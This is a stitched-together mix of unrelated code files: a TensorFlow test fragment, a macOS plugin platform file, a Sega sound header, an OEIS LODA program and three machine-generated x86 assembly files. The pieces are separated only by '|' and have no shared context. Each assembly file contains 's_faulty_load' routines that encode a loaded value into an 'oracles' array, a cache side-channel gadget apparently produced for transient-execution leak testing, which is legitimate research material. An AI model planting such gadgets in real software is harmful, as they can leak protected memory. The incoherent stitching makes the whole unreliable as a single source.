mutex_lock l(test_case->mu);
while (test_case->num_completed != 1) {
test_case->done_cv.wait(l);
}
}
}
#endif
} // namespace tensorflow
#endif // GOOGLE_CUDA || TENSORFLOW_USE_ROCM
|
/*
* platform_mac.cpp
* fbplugin
*
*/
#include <stdlib.h>
#include <dlfcn.h>
#include <CoreServices/CoreServices.h>
#include <CoreFoundation/CoreFoundation.h>
#include <ApplicationServices/ApplicationServices.h>
#include <SystemConfiguration/SystemConfiguration.h>
#include <SystemConfiguration/SCDynamicStore.h>
#include "cf_scoped_ptr.h"
#include "Platform.h"
#include "mac_common.h"
#include <sys/xattr.h>
#include "APITypes.h"
using std::string;
using namespace HTTP;
std::string Platform::getArchitectureName() {
return "macosx";
}
/*
string findUserFolder(OSType folderType) {
FSRef ref;
OSErr err = FSFindFolder(kUserDomain, folderType, kDontCreateFolder, &ref);
if (err != noErr) return string();
char path[1024];
err = FSRefMakePath(&ref, (UInt8*)path, 1024);
if (err != noErr) return string();
return string(path);
}
*/
/*PluginJSDict* Platform::getLocalBrowseRoots() {
PluginJSDict* d = new PluginJSDict;
// first, grab the user document folders: Pictures and Movies
string res;
res = findUserFolder(kPictureDocumentsFolderType);
if (!res.empty()) (*d)[res] = new BrowseRoot("Pictures", res, BrowseRoot::PATH_DOCUMENT_FOLDER, BrowseRoot::CONTENT_TYPE_PHOTOS);
res = findUserFolder(kMovieDocumentsFolderType);
if (!res.empty()) (*d)[res] = new BrowseRoot("Movies", res, BrowseRoot::PATH_DOCUMENT_FOLDER, BrowseRoot::CONTENT_TYPE_VIDEOS);
res = findUserFolder(kDesktopFolderType);
if (!res.empty()) (*d)[res] = new BrowseRoot("Desktop", res, BrowseRoot::PATH_DOCUMENT_FOLDER, BrowseRoot::CONTENT_TYPE_MIXED);
res = findUserFolder(kDomainTopLevelFolderType);
if (!res.empty()) (*d)[res] = new BrowseRoot("Home", res, BrowseRoot::PATH_DOCUMENT_FOLDER, BrowseRoot::CONTENT_TYPE_MIXED);
// now enum all mounts
for (ItemCount volIdx = 1; ; ++volIdx) {
FSVolumeRefNum actualVolume;
FSVolumeInfo info; // unused
HFSUniStr255 volumeName;
FSRef rootDirectory;
OSErr err = FSGetVolumeInfo(kFSInvalidVolumeRefNum, volIdx, &actualVolume, kFSVolInfoNone, &info, &volumeName, &rootDirectory);
if (err == nsvErr) {
break; // iteration terminated
}
if (err != noErr) {
continue; // I/O error or something
}
char outbuf[1024]; // UTF8
ByteCount realInputLen, realOutputLen;
TECObjectRef tec;
OSStatus st = TECCreateConverter(&tec, CreateTextEncoding(kTextEncodingUnicodeDefault, kTextEncodingDefaultVariant, kUnicode16BitFormat),
CreateTextEncoding(kTextEncodingUnicodeDefault, kTextEncodingDefaultVariant, kUnicodeUTF8Format));
if (st != noErr) {
continue;
}
st = TECConvertText(tec, (ConstTextPtr) volumeName.unicode, volumeName.length*2 / *bytes* /, &realInputLen,
(TextPtr) outbuf, 1024, &realOutputLen);
TECDisposeConverter(tec);
if (st != noErr) {
continue;
}
string volName(outbuf, realOutputLen);
err = FSRefMakePath(&rootDirectory, (UInt8*)outbuf, 1024);
if (err != noErr) {
continue;
}
(*d)[string(outbuf)] = new BrowseRoot(volName, string(outbuf), BrowseRoot::PATH_VOLUME_ROOT, BrowseRoot::CONTENT_TYPE_MIXED);
}
return d;
}*/
bool Platform::pathIsHidden(const boost::filesystem::wpath& path_to_investigate) {
// Same in Linux and Mac FYI
std::wstring fn = path_to_investigate.filename();
return (fn.empty() || fn[0] == L'.');
}
// If this directory doesn't have the flag set, try all the parents
bool Platform::pathIsSystem(const boost::filesystem::wpath& path_to_investigate) {
string utf8_file_path = FB::wstring_to_utf8(path_to_investigate.file_string());
FSRef ref;
if (FSPathMakeRef(reinterpret_cast<const UInt8*>(utf8_file_path.data()), &ref, NULL) != 0) return false; // path convertion failed?
cf_scoped_ptr<CFBooleanRef> hiddenAttr;
if (LSCopyItemAttribute(&ref, kLSRolesViewer, kLSItemIsInvisible, (const void**) &hiddenAttr) != 0) return false;
return hiddenAttr == kCFBooleanTrue;
}
bool Platform::pathIsShortcut(const boost::filesystem::wpath& path_to_investigate) {
return false;
}
boost::filesystem::wpath Platform::resolveShortcut(const boost::filesystem::wpath& path_to_shortcut) {
return path_to_shortcut;
}
HTTPProxyConfig Platform::getSystemProxyConfig() {
cf_scoped_ptr<CFDictionaryRef> proxySettings(SCDynamicStoreCopyProxies(NULL));
if (! proxySettings) return HTTPProxyConfig(); // NULL = no proxies configured
/*
* -- relevant dictionary keys
* kSCPropNetProxiesHTTPEnable "HTTPEnable" CFNumber (0 or 1)
* kSCPropNetProxiesHTTPPort "HTTPPort" CFNumber
* kSCPropNetProxiesHTTPProxy "HTTPProxy" CFString
* kSCPropNetProxiesSOCKSEnable "SOCKSEnable" CFNumber (0 or 1)
* kSCPropNetProxiesSOCKSPort "SOCKSPort" CFNumber
* kSCPropNetProxiesSOCKSProxy "SOCKSProxy" CFString
*/
// HTTP proxy?
if (cfnumber_to_int((CFNumberRef) CFDictionaryGetValue(proxySettings, kSCPropNetProxiesHTTPEnable))) {
HTTPProxyConfig res;
res.type = HTTPProxyConfig::kHTTPProxy;
res.hostname = conv_cfstring((CFStringRef) CFDictionaryGetValue(proxySettings, kSCPropNetProxiesHTTPProxy));
res.port = cfnumber_to_int((CFNumberRef) CFDictionaryGetValue(proxySettings, kSCPropNetProxiesHTTPPort));
return res;
}
// SOCKS proxy?
if (cfnumber_to_int((CFNumberRef) CFDictionaryGetValue(proxySettings, kSCPropNetProxiesSOCKSEnable))) {
HTTPProxyConfig res;
res.type = HTTPProxyConfig::kSOCKS4Proxy;
res.hostname = conv_cfstring((CFStringRef) CFDictionaryGetValue(proxySettings, kSCPropNetProxiesSOCKSProxy));
res.port = cfnumber_to_int((CFNumberRef) CFDictionaryGetValue(proxySettings, kSCPropNetProxiesSOCKSPort));
return res;
}
// no proxy.
return HTTPProxyConfig();
}
/*
class QuickLookThumbnailGenerator : public VideoThumbnailGenerator {
public:
QuickLookThumbnailGenerator() : qlframework(NULL) {
// We dynamically resolve the reference to the QuickLook framework, since it's
// not available on Mac OS X 10.4 (and we want to work there with only one binary)
qlframework = dlopen("/System/Library/Frameworks/QuickLook.framework/QuickLook", RTLD_NOW);
if (! qlframework) return; // QuickLook framework isn't available or doesn't exist.
QLThumbnailImageCreate_ptr = reinterpret_cast<CGImageRef(*)(CFAllocatorRef,CFURLRef,CGSize,CFDictionaryRef)>(dlsym(qlframework, "QLThumbnailImageCreate"));
if (QLThumbnailImageCreate_ptr) generators.push_back(this);
}
~QuickLookThumbnailGenerator() {
if (qlframework) dlclose(qlframework);
}
virtual bool generate(const std::string& filename, const ImageProcessor::Dimension& dim, ImageProcessor::Result& res) {
if (! QLThumbnailImageCreate_ptr) return false; // Shouldn't happen, since we're not supposed to be registered if this failed
cf_scoped_ptr<CFURLRef> url(CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, reinterpret_cast<const UInt8*>(filename.data()), filename.size(), false));
if (! url) return false;
cf_scoped_ptr<CGImageRef> srcImage(QLThumbnailImageCreate_ptr(kCFAllocatorDefault, url, CGSizeMake(dim.x, dim.y), NULL));
if (! srcImage) return false;
cf_scoped_ptr<CFMutableDataRef> target(CFDataCreateMutable(kCFAllocatorDefault, 0));
if (! target) return false;
cf_scoped_ptr<CGImageDestinationRef> targetImage(CGImageDestinationCreateWithData(target, kUTTypeJPEG, 1, NULL));
if (! targetImage) return false;
CGImageDestinationAddImage(targetImage, srcImage, NULL);
CGImageDestinationFinalize(targetImage);
// copy target data to our result structure
res.length = CFDataGetLength(target);
res.data = boost::shared_array<char>(new char[res.length]);
CFDataGetBytes(target, CFRangeMake(0, res.length), reinterpret_cast<UInt8*>(res.data.get()));
return true;
}
protected:
CGImageRef(*QLThumbnailImageCreate_ptr)(CFAllocatorRef,CFURLRef,CGSize,CFDictionaryRef);
void* qlframework;
};
QuickLookThumbnailGenerator _static_qlg;*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1d7a6, %rsi
lea addresses_UC_ht+0x6b0e, %rdi
nop
nop
nop
cmp $45045, %r11
mov $5, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $778, %r9
lea addresses_normal_ht+0x27a6, %r13
nop
nop
nop
nop
xor %rsi, %rsi
movw $0x6162, (%r13)
nop
dec %rdi
lea addresses_WC_ht+0x96a6, %rsi
lea addresses_D_ht+0x1bfa6, %rdi
nop
nop
and %rax, %rax
mov $83, %rcx
rep movsw
and $11640, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r9
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x130ce, %r15
nop
nop
nop
nop
nop
cmp %r9, %r9
mov $0x5152535455565758, %rdx
movq %rdx, (%r15)
nop
nop
nop
nop
nop
and $20070, %r15
// Faulty Load
lea addresses_A+0x157a6, %r10
xor $20676, %rsi
vmovntdqa (%r10), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %r14
lea oracles, %r10
and $0xff, %r14
shlq $12, %r14
mov (%r10,%r14,1), %r14
pop %rsi
pop %rdx
pop %rdi
pop %r9
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}}
{'48': 9737, '00': 12092}
00 48 48 48 00 00 00 48 00 48 00 48 00 00 00 00 00 48 00 48 48 00 48 48 00 48 00 00 00 48 00 48 00 00 00 00 48 00 00 00 48 00 00 00 00 00 00 48 48 48 48 48 00 00 48 48 48 48 00 48 00 00 48 00 48 48 00 00 00 48 48 00 48 00 48 48 48 48 00 48 48 48 00 00 00 48 00 00 00 00 00 00 48 00 00 00 00 00 48 48 48 00 48 48 48 00 48 48 48 48 00 48 00 48 00 48 00 00 00 48 00 48 48 00 00 48 00 00 48 48 48 00 48 48 48 48 48 48 00 48 00 48 48 48 00 48 48 48 00 00 00 48 00 00 48 48 48 00 48 48 48 00 48 00 48 48 00 48 48 48 00 48 48 00 48 00 00 00 00 48 00 48 48 00 48 48 48 00 00 00 00 48 00 48 00 00 00 00 00 00 00 00 48 00 00 00 00 00 00 48 00 00 48 48 48 00 00 48 48 48 00 48 48 00 00 48 48 00 00 00 00 48 48 48 00 48 00 48 00 00 48 00 48 00 00 00 48 48 48 48 00 00 48 48 48 48 00 00 00 48 48 48 00 48 48 48 00 48 00 00 48 48 48 48 00 48 00 48 00 48 00 48 00 48 48 00 48 00 48 48 00 48 00 00 00 48 00 00 48 48 00 48 00 48 00 48 00 00 00 00 00 48 00 00 48 00 00 48 48 48 48 00 48 48 48 48 00 00 00 00 00 48 48 48 00 00 48 00 00 00 48 48 00 00 48 48 48 00 00 00 00 48 00 00 00 00 48 00 48 00 00 00 00 48 48 00 48 00 48 48 00 48 00 00 48 00 00 00 00 00 00 48 48 48 48 48 48 48 48 00 48 48 00 00 00 00 48 48 00 00 48 48 48 48 00 00 48 00 00 48 00 48 00 48 48 48 48 00 00 48 48 48 00 00 00 48 48 48 48 48 00 48 00 00 00 00 00 00 48 48 00 00 00 00 00 48 00 00 00 48 48 00 00 00 00 00 48 00 48 00 48 48 48 48 48 00 48 00 00 48 48 48 48 00 48 00 00 48 48 00 00 48 00 48 00 00 00 00 00 00 48 00 00 48 48 48 48 48 48 00 48 00 00 48 00 00 48 48 00 00 48 00 00 00 00 00 48 48 48 00 00 00 48 00 00 48 48 00 48 48 00 48 48 48 48 48 00 48 48 48 48 00 00 48 48 00 48 48 48 00 00 00 00 00 48 48 00 00 48 00 48 48 48 00 48 00 00 48 00 00 48 00 48 00 00 48 48 48 48 00 00 48 00 00 00 48 48 00 00 00 00 00 00 48 00 48 48 00 00 00 00 48 00 48 48 48 00 00 48 48 48 00 48 48 48 48 00 00 48 00 00 00 00 00 48 48 48 48 48 48 00 00 00 48 00 48 00 48 00 00 00 48 48 00 48 48 48 00 00 48 00 00 00 00 48 48 00 00 48 48 00 48 48 00 48 48 48 00 00 48 48 00 48 00 48 00 48 48 00 48 48 48 48 00 00 00 00 48 00 00 00 48 00 48 00 00 48 48 48 00 00 48 00 48 00 48 48 48 00 48 48 00 00 00 48 48 00 48 00 00 00 48 48 00 48 00 48 48 00 00 48 00 00 00 00 00 00 00 48 00 00 48 48 48 48 00 00 00 00 00 48 00 00 00 00 00 00 48 48 48 00 00 00 00 00 00 48 00 00 00 48 00 48 48 48 48 48 48 00 00 48 00 00 48 48 48 48 00 48 48 48 00 00 48 48 00 00 00 48 00 00 00 00 48 00 00 48 48 00 48 00 48 00 48 00 48 00 00 48 48 00 00 48 48 48 48 00 48 00 00 48 00 00 00 48 48 48 00 48 48 00 00 48 00 48 48 00 00 00 00 48 48 48 48 00 00 00 00 00 48 00 48 00 48 00 00 00 00 48 00 48 00 00 00 48 00 48 48 48 00 48 48 00 00 00 00 48 00 00 48 48 00 00 48 00 00 48 00 48 00 48 00 48 48 00 00 00 48 00 48 48 00 00 00 00 48 00 00 48 00 00 48 00 48 48 48 48 48 00 48 48 00 00 48 48 48 00 00 48 48 00 00 00 00 00 00 00 48 00 48 48 00 48 00 00 48 48 48 48 00 00 00 00 00 00 00 48 48 00 48 00 00 00 00 00 00 00 00 48 48 48 48 48 48 48 00 48 00 48 00 48 00 48 00 00 00 48 48 00 48
*/
|
CE_Header:
sHeaderInit ; Z80 offset is $DC15
sHeaderPatch CE_Patches
sHeaderTick $01
sHeaderCh $01
sHeaderSFX $80, $05, CE_FM5, $00, $01
CE_FM5:
sPatFM $00
dc.b nC5, $06, nA4, $16
sStop
CE_Patches:
; Patch $00
; $3C
; $05, $01, $0A, $01, $56, $5C, $5C, $5C
; $0E, $11, $11, $11, $09, $0A, $06, $0A
; $4F, $3F, $3F, $3F, $17, $80, $20, $80
spAlgorithm $04
spFeedback $07
spDetune $00, $00, $00, $00
spMultiple $05, $0A, $01, $01
spRateScale $01, $01, $01, $01
spAttackRt $16, $1C, $1C, $1C
spAmpMod $00, $00, $00, $00
spSustainRt $0E, $11, $11, $11
spSustainLv $04, $03, $03, $03
spDecayRt $09, $06, $0A, $0A
spReleaseRt $0F, $0F, $0F, $0F
spTotalLv $17, $20, $00, $00
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r14
push %rax
push %rbp
push %rsi
lea addresses_normal_ht+0xb8e0, %r10
nop
nop
nop
nop
nop
add $49372, %rsi
and $0xffffffffffffffc0, %r10
movaps (%r10), %xmm7
vpextrq $0, %xmm7, %rax
nop
nop
sub $7967, %r14
lea addresses_A_ht+0x4300, %rbp
nop
xor $47880, %r12
movl $0x61626364, (%rbp)
nop
and %r10, %r10
lea addresses_A_ht+0x1ee0, %rbp
and %rsi, %rsi
mov $0x6162636465666768, %r10
movq %r10, %xmm4
vmovups %ymm4, (%rbp)
nop
nop
nop
nop
and $64292, %r10
lea addresses_normal_ht+0x1c6f4, %rbp
nop
nop
nop
dec %r14
vmovups (%rbp), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r12
nop
nop
nop
nop
nop
add %rax, %rax
pop %rsi
pop %rbp
pop %rax
pop %r14
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Store
mov $0x6a0, %rax
nop
nop
nop
cmp %rdx, %rdx
mov $0x5152535455565758, %r8
movq %r8, %xmm0
movups %xmm0, (%rax)
nop
nop
and %r12, %r12
// REPMOV
lea addresses_RW+0x1e8e0, %rsi
lea addresses_A+0xe396, %rdi
inc %rax
mov $7, %rcx
rep movsw
nop
nop
nop
xor $21872, %rsi
// Store
lea addresses_US+0xd0e0, %r10
nop
nop
nop
nop
nop
sub $24777, %rax
mov $0x5152535455565758, %rdx
movq %rdx, (%r10)
nop
nop
nop
nop
nop
cmp $39779, %rax
// Faulty Load
lea addresses_WC+0x172e0, %r10
nop
nop
nop
nop
cmp %r11, %r11
movups (%r10), %xmm1
vpextrq $1, %xmm1, %r8
lea oracles, %rcx
and $0xff, %r8
shlq $12, %r8
mov (%rcx,%r8,1), %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_RW', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 9, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': True, 'NT': False}}
{'00': 10677}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Name: z00_char1.asm
Type: file
Size: 64395
Last-Modified: '2016-05-13T04:36:32Z'
SHA-1: BAEFB115514ACD76718A6FD79B69F8A43302A37D
Description: null
|
; A231721: Partial sums of phitorials: a(n) = A001088(1)+A001088(2)+...+A001088(n).
; 1,2,4,8,24,56,248,1016,5624,24056,208376,945656,9793016,62877176,487550456,3884936696,58243116536,384392195576,6255075618296,53220543000056,616806151581176,6252662237392376,130241496125238776,1122152167228009976,20960365589283433976,259018926653948521976,4544073025817920105976,55964722215785579113976,1495742899534880031337976,13013968318087635649129976,358560730874670304182889976,5887308931779993000723049976,116462272949886446931526249976,1885661697239589709824377449976,44346447880192468019252806249976,553875882075627007732393951849976,18896935513111270437405475193449976,349072008871752852171520937542249976
lpb $0
mov $2,$0
sub $0,1
seq $2,1088 ; Product of totient function: a(n) = Product_{k=1..n} phi(k) (cf. A000010).
add $1,$2
lpe
add $1,1
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x159ff, %rdi
nop
nop
nop
nop
nop
sub $8473, %r13
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
and $0xffffffffffffffc0, %rdi
vmovntdq %ymm3, (%rdi)
nop
nop
nop
inc %rdi
lea addresses_A_ht+0x138f7, %rsi
lea addresses_WT_ht+0x18ff7, %rdi
nop
nop
nop
and $2154, %r12
mov $56, %rcx
rep movsq
nop
dec %r13
lea addresses_normal_ht+0x11f97, %r10
nop
nop
nop
sub %rax, %rax
mov (%r10), %r12d
nop
nop
add $37771, %r13
lea addresses_UC_ht+0x11427, %rsi
lea addresses_normal_ht+0x22f7, %rdi
clflush (%rdi)
nop
add $49480, %r8
mov $72, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WC_ht+0x40b7, %rax
nop
nop
nop
nop
nop
cmp %r10, %r10
movb (%rax), %r12b
nop
nop
nop
nop
nop
sub $25186, %r10
lea addresses_A_ht+0x6e37, %rax
nop
nop
nop
and %rcx, %rcx
movw $0x6162, (%rax)
nop
nop
mfence
lea addresses_UC_ht+0x64e5, %rdi
nop
cmp $48350, %r10
vmovups (%rdi), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rsi
nop
nop
nop
dec %r10
lea addresses_normal_ht+0xccb7, %rsi
lea addresses_normal_ht+0x11322, %rdi
clflush (%rsi)
sub $65530, %r13
mov $61, %rcx
rep movsb
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_WT_ht+0xbcfd, %r13
clflush (%r13)
cmp %rdi, %rdi
movb $0x61, (%r13)
nop
nop
nop
and %rcx, %rcx
lea addresses_D_ht+0x24b7, %rsi
lea addresses_A_ht+0x178b7, %rdi
clflush (%rdi)
nop
nop
cmp %r10, %r10
mov $29, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $13262, %rsi
lea addresses_UC_ht+0x1bef5, %r12
nop
cmp %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
movups %xmm4, (%r12)
nop
nop
nop
cmp $25986, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %rax
push %rdi
push %rsi
// Store
lea addresses_WT+0x30b7, %r13
sub $36094, %rsi
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%r13)
nop
nop
nop
nop
nop
dec %r13
// Load
lea addresses_RW+0x2b77, %rdi
nop
nop
nop
nop
cmp $10921, %r15
mov (%rdi), %rsi
nop
sub $50250, %r15
// Faulty Load
mov $0x7f050e00000000b7, %r14
nop
nop
nop
sub $30150, %rax
vmovups (%r14), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r13
lea oracles, %r15
and $0xff, %r13
shlq $12, %r13
mov (%r15,%r13,1), %r13
pop %rsi
pop %rdi
pop %rax
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 4}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'00': 21691, '45': 46, '47': 92}
